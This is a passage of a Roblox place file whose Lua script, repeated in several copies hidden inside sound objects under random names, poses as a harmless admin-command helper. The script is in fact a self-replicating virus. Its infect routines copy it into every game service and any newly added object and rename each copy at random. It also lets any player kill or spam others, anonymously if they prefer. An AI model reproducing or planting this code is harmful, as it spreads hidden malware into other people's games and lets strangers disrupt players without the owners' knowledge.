local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX908">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">u34lt</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX909">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">5xi3nnbuo</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="SpawnLocation" referent="RBX910">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">true</bool>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1004</int>
				<CoordinateFrame name="CFrame">
					<X>-158</X>
					<Y>70.3999939</Y>
					<Z>-11.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">SpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">1004</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>1.20000005</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX911">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>rbxasset://Textures\SpawnLocation.png</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX912">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">2v5l7j7z</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX913">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">1rga</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
